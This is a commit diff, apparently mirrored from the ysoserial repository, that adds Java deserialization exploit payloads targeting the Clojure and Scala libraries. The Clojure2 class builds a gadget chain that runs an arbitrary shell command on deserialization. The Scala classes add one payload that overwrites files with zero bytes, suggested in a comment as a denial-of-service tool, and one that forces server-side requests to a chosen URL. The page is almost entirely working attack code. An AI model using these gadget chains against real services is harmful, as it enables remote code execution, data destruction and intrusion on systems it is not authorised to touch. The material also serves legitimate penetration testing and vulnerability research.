mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
Add scala and clojure payloads from a couple of years ago (#137)
* Add some payloads for Scala * Add new clojure payload effecting versions since 1.8.0 * Fix infinite loop behavior of clojure2 payload.
This commit is contained in:
@@ -326,6 +326,10 @@
|
||||
<artifactId>vaadin-server</artifactId>
|
||||
<version>7.7.14</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.scala-lang</groupId>
|
||||
<artifactId>scala-library</artifactId>
|
||||
<version>2.12.6</version>
|
||||
<dependency>
|
||||
<groupId>com.atomikos</groupId>
|
||||
<artifactId>transactions-osgi</artifactId>
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import clojure.lang.Iterate;
|
||||
import ysoserial.Strings;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
HashMap.readObject()
|
||||
clojure.lang.ASeq.hashCode()
|
||||
clojure.lang.Iterate.first() -> null
|
||||
clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED)
|
||||
clojure.lang.Iterate.first() -> this.f.invoke(null)
|
||||
clojure.core$constantly$fn__4614.invoke()
|
||||
clojure.main$eval_opt.invoke()
|
||||
|
||||
Requires:
|
||||
org.clojure:clojure
|
||||
Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
|
||||
Versions up to 1.10.0-alpha4 are known to be vulnerable.
|
||||
*/
|
||||
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public class Clojure2 extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(final String command) throws Exception {
|
||||
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
|
||||
|
||||
final String clojurePayload =
|
||||
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
|
||||
|
||||
Iterate model = Reflections.createWithoutConstructor(Iterate.class);
|
||||
Object evilFn =
|
||||
new clojure.core$comp().invoke(
|
||||
new clojure.main$eval_opt(),
|
||||
new clojure.core$constantly().invoke(clojurePayload));
|
||||
|
||||
// Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable()
|
||||
// ends up triggering the payload in an infinite loop as it tries to compute the hashCode.
|
||||
evilFn = new clojure.core$comp().invoke(
|
||||
new clojure.main$eval_opt(),
|
||||
new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"),
|
||||
evilFn);
|
||||
|
||||
Reflections.setFieldValue(model, "f", evilFn);
|
||||
return Gadgets.makeMap(model, null);
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Clojure2.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import scala.Function0;
|
||||
import scala.Function1;
|
||||
import scala.PartialFunction;
|
||||
import scala.math.Ordering$;
|
||||
import scala.sys.process.processInternal$;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.io.File;
|
||||
import java.net.URL;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/*
|
||||
Two exploits using classes in the scala library.
|
||||
* CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file.
|
||||
Could be useful as a DoS attack by replacing some app class/war?
|
||||
* Ssrf will perform a GET request to the given URL.
|
||||
|
||||
Requires:
|
||||
org.scala-lang:scala-library
|
||||
The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library.
|
||||
Some slight variations will probably work with other versions.
|
||||
*/
|
||||
|
||||
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public class Scala {
|
||||
|
||||
private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
|
||||
PartialFunction<Throwable, Object> onf = processInternal$.MODULE$.onInterrupt(exploitFunction);
|
||||
|
||||
Function1<Throwable, Object> f = new PartialFunction.OrElse(onf, onf);
|
||||
|
||||
// create queue with numbers and basic comparator
|
||||
final PriorityQueue<Throwable> queue = new PriorityQueue<Throwable>(2, new Comparator<Throwable>() {
|
||||
@Override
|
||||
public int compare(Throwable o1, Throwable o2) {
|
||||
return 0;
|
||||
}
|
||||
});
|
||||
|
||||
// stub data for replacement later
|
||||
queue.add(new Exception());
|
||||
queue.add(new Exception());
|
||||
Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.<Throwable, Object>by(f, null));
|
||||
|
||||
// switch contents of queue
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = new InterruptedException();
|
||||
queueArray[1] = new InterruptedException();
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
PriorityQueue.readObject()
|
||||
scala.math.Ordering$$anon$5.compare()
|
||||
scala.PartialFunction$OrElse.apply()
|
||||
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
|
||||
scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
|
||||
java.io.FileOutputStream.<init>()
|
||||
*/
|
||||
public static class CreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
public PriorityQueue<Throwable> getObject(final String path) throws Exception {
|
||||
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
|
||||
Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
|
||||
Reflections.setFieldValue(pbf, "file$1", new File(path));
|
||||
Reflections.setFieldValue(pbf, "append$1", false);
|
||||
|
||||
return createExploit(pbf);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
PriorityQueue.readObject()
|
||||
scala.math.Ordering$$anon$5.compare()
|
||||
scala.PartialFunction$OrElse.apply()
|
||||
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
|
||||
scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
|
||||
java.net.URL.openStream()
|
||||
*/
|
||||
public static class Ssrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
public PriorityQueue<Throwable> getObject(final String url) throws Exception {
|
||||
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
|
||||
Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
|
||||
Reflections.setFieldValue(pbf, "url$1", new URL(url));
|
||||
|
||||
return createExploit(pbf);
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
|
||||
//PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user